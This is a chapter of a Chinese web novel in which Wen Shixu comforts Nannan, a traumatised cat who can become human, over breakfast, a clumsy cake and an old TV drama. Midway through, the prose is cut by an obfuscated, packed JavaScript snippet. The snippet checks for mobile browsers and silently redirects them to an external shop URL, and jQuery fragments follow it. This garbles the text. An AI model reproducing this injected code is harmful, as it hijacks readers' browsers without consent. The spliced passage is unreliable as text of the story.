11. 痛苦和陪伴

作品:《人!你要生咪的气嘛?

    不是梦。


    所有的恐惧和痛苦都是真实的,像扎在骨头里的刺,日日夜夜、无穷无尽地疼。


    南南莫名想起温时序给它讲过的《小美人鱼》,只是小美人鱼经历痛苦是为了爱,而它是被人类毫无理由的恶意困在这里,完全逃不出去。


    它见过太多同类死在面前,自己也在昏暗的房间里痛得满地打滚,有时睁着眼睛慢慢不动,想着干脆一了百了。它的心早就磨出茧子,麻木又坚硬,以为自己会一直这样坚硬地活下去,哪怕是死亡也不会让它产生波澜。


    直到遇见温时序。


    在它主动用鼻尖触碰温时序的鼻尖时,久违地有一种想哭的冲动,像走丢很久终于找到家,又像死而复生,灵魂归位。


    虽然现在说这些有点不合时宜,但温时序让南南想起了妈妈。


    昨天受到的刺激让它恢复了所有记忆。


    妈妈会轻轻舔它的脑袋,用尾巴卷着它睡觉,会教它怎么去觅食生存。那时候它是世界上最幸福的小猫。


    温时序感觉到它的动静,没睁眼,只是轻轻拍了拍它的背。


    还好它现在也不错,可以算得上世界第二幸福。


    南南不敢再闭眼,梦里的画面太清晰,它怕一闭眼又被拖回去,就这样盯着天花板,感受着温时序的温度从旁边传过来。


    天亮的时候温时序起床,南南眼巴巴地看着他洗漱。它想让他留下来,但它知道人要工作。温时序已经为它做得够多了,它要乖乖的。


    谁知温时序洗漱完,转身把它抱去刷牙。


    他声音还带着刚睡醒的沙哑:“不知道你昨天怎么了,不想说我也不逼你,这两天我在家陪你,好不好?”


    南南眼睛一下子亮了。


    然后眼泪毫无预兆掉了下来。


    “怎么了?”温时序搂了搂手边的小猫,但是南南往后躲开,怕眼泪落在温时序身上。


    它在走街串巷中听过一个传说,泪是阴水,里面藏着今生委屈和孽债。一旦砸在重要的人身上,就不是泪,而是枷锁。


    它不想成为温时序的枷锁。


    但温时序没松手,只是把它搂得更紧了些:“你可以试试依赖我,我很厉害的。”


    南南把脸埋进他怀里,闷闷地想,人,我知道你很厉害。


    我以前也很厉害。可是你知不知道,遇见你之后,我已经变不回那只硬邦邦的小猫了。


    都是你的错,你要对咪负责。


    温时序见南南情绪缓和下来,存心让它转移注意力。


    虽然他不知道具体情况,但是能让一只乐天派小猫难过成这样,肯定是很糟糕的事。他不想追问,也不想让南南一直陷在那些情绪里。


    “饿不饿?”他低头问。


    南南摇了摇头。


    “我饿了。”温时序自顾自地说,“你陪我去做早饭吧,我一个人做饭可无聊了。”


    怀里的毛团子动了动,露出一只眼睛看他。


    温时序趁机把它抱起来,往厨房走:“今天想吃什么?煎鱼?我记得冰箱里还有虾仁,是专门给你留的……”


    南南的耳朵也动了动。


    温时序一边打开冰箱,一边絮絮叨叨:“想吃小蛋糕吗?我可以试试做,今天的小猫可以吃好几块。”


    南南终于从他臂弯里探出脑袋,眼睛还红着,但已经不像刚才那样湿漉漉的了。


    人,说话算话。


    其实温时序只会做最普通的家常菜,稍微难一点的都惨不忍睹,更别说蛋糕这种高难度项目了。


    可是在南南面前夸下海口,好不容易才把小猫哄得不哭了,只能硬着头皮去搜教程,照着步骤一步一步来。


    放面粉时南南忍不住凑上去闻,温时序故意吹一口气,扑得它满脸面粉。南南摸了摸自己,非常嫌弃,急匆匆爬上洗手台,小心翼翼沾水给自己洗脸。它决定今晚洗澡的时候狠狠闹腾一番,泼温时序满身水。


    南南午饭吃得少,让温时序以为它难过到胃口都变差了。其实是吃多了人类的饭,南南总觉得猫饭没滋没味的,样式不多,味道也很寡淡,可是温时序就在面前,它没机会变成人找吃的。


    当南南还在因为饭不好吃而沉思的时候,温时序也在苦恼,他甚至已经开始调老城区那一片的监控了。不过那里基础设施老化,再加上治安混乱,根本查不出什么重要线索。


    直到南南磨磨蹭蹭吃完饭,过来挠温时序的手背,他才回过神来,叹了口气。他打算再等等,不信小猫能憋得住太久。


    外面的雨很大,砸在窗上响个不停。出门不方便,温时序问南南有没有想做的事。南南蹭地跳上沙发,用爪子点了点遥控。


    好吧,让电视瘾很重的小猫来做选择,这样的结果也没多意外。


    温时序靠在沙发上,手指有一搭没一搭地梳理着南南的毛。他知道南南正在看的电视剧是什么,很古早的爱情片,放在十年前看这个高低也能被人夸一句“有品”,但他不爱看。小时候被姐姐拉着看过,至今还记得剧情,几句话可以解释清楚的事情,硬生生拖了大段。倒是南南看得津津有味,视线一点都不舍得分给旁边的他。


    电视里主角还纠结着自己爱的人有多爱自己,能不能永远爱自己。反派端着咖啡,语气嘲讽道:“你要有价值才有分量。”


    南南的后背突然挺直僵住。


    价值吗?它对温时序而言有价值吗?


    温时序的手顿了顿,低头看了一眼。坐在腿边的小猫耳朵高高竖起,尾巴尖慢慢旋转着,像是听见什么不得了的大事。


    电视里的人继续补充:“最直观可以看出差别的,就是金钱啊,没钱你连自己的生活都过不好,有什么资格谈情说爱,凭什么要别人跟你耗着?”


    南南的耳朵往后压了压,表情越来越凝重。


    它没有钱,还一直在花温时序的钱。


    温时序想起自己好吃好喝供着南南,又买手机又给现金的,偶尔半夜还被这个小祖宗踩醒要吃的,忍不住笑了下。


    其实他挺心甘情愿的,而且对他来说这点钱毫无负担。


    但南南却误解了他的意思,以为他笑是出于认同。眼睛还盯着电视,但注意力已经不在了,尾巴默默缩回去把自己蜷缩起来。


    看着更低落的南南,温时序觉得这样的话对小猫来说,太直白太现实了。小猫当然可以没钱也得到他全部的爱。


    温时序张了张嘴,准备说点什么。南南比他更快一步扭开脸。


    “南南。”


    小猫没回头。


    温时序又闭上了嘴。


    他该说什么?


    你不一样,你的存在就是价值?这也太肉麻了,说出来他自己都起鸡皮疙瘩。


    电视里都是瞎编的你别信?那等于承认自己一直在偷看小猫的反应,更奇怪。


    而且南南会信吗?<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467746|201318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他想把南南捞起来,抱进怀里,用下巴蹭蹭它的脑袋,告诉它别听那些有的没的。


    但他没动。


    因为南南看起来正在想事情,很认真地在想。


    在想自己有没有用吗?在想会不会有一天我觉得养他不值吗?


    温时序不知道。


    他也无法解释清楚,就算南南什么都不会、什么都不做,每天只是躺在沙发上睡觉,或者给他捣乱折腾些什么出来,他也觉得有这只小猫在身边,比什么都强。


    雨还在下。


    电视里换了场景,男女主角终于见面了,抱在一起互诉衷肠。


    南南的注意力被拉回去一点,但身体还缩着,没有像之前那样舒展开。


    温时序慢慢伸出手,轻轻放在它背上。


    南南抖了抖,没躲。


    温时序声音不大,谈论着电视剧,却每句话里都在安慰:“电视里的人什么都不懂,猫和人不一样,他们连猫都没养过。你是我唯一的、最爱的小猫。”


    南南抬头看他,眨眨眼睛,温时序也眨眨眼睛。


    然后南南把脑袋转回去,继续看电视,但尾巴尖不知道什么时候又搭回了温时序手上。


    唯一吗?最爱吗?


    很动听的承诺,而南南也愿意去相信。


    人,你也是咪的最爱,咪的唯一。


    处理了一大烦心事,南南又满意地趴下。


    温时序突然想起还没吃的蛋糕,拍了拍南南的背:“等着。”


    他实在处理不好奶油,端着刚刚烤好的蛋糕坯出来,看起来比上次买的栗子蛋糕差多了。不过南南还是很给面子地吃着,它现在终于理解为什么说吃蛋糕会感到幸福了,因为蛋糕来自重要的人啊。


    南南吃得很认真,以至于没有注意到电视里男女主的感情又迈向低谷,哭喊着任何承诺都会被轻易收回。


    今晚南南依然失眠着,想妈妈,想老猫,想温时序。


    它感觉自己的思想开始蜕变。


    像小时候还能躲在墙缝里,后来墙缝越来越大,最后整个塌了,它不得不跑出去,跑到一个更大的地方。


    它心里那堵墙,也在塌,塌得迅速又彻底,让它措手不及。


    它一直在想温时序。


    想温时序的手摸在背上的感觉,想温时序抱着它说:你是我唯一的、最爱的小猫。


    它不知道这样对不对,可是它控制不住。


    因为它发现,原来这是“被爱着”的感觉,被另一个人重新填满了。


    老猫以前说得不对。它说,人类啊,不能太信,也不能不信。


    那时候南南听不懂,现在它听懂了。老猫的意思是,要留一条后路,要保护自己,不要把心全交出去。


    可是心这种东西,交出去的时候自己都不知道。


    等你发现的时候,已经收不回来了。


    南南轻轻凑过去,在温时序的鼻尖上碰了碰。


    它还是失眠,但它不难受了。


    妈妈,我遇见了一个人。


    他和我们见过的人都不一样,从来没有打我,对我很好。


    他给我吃蛋糕,给我买虾仁,给我刷牙洗澡,给我讲小美人鱼的故事。他说我是他唯一的、最爱的小猫。


    他让我觉得,活着真好。


    妈妈,我以前不知道,原来心碎了还能再长好。


    原来长好了的心,可以跳得更响。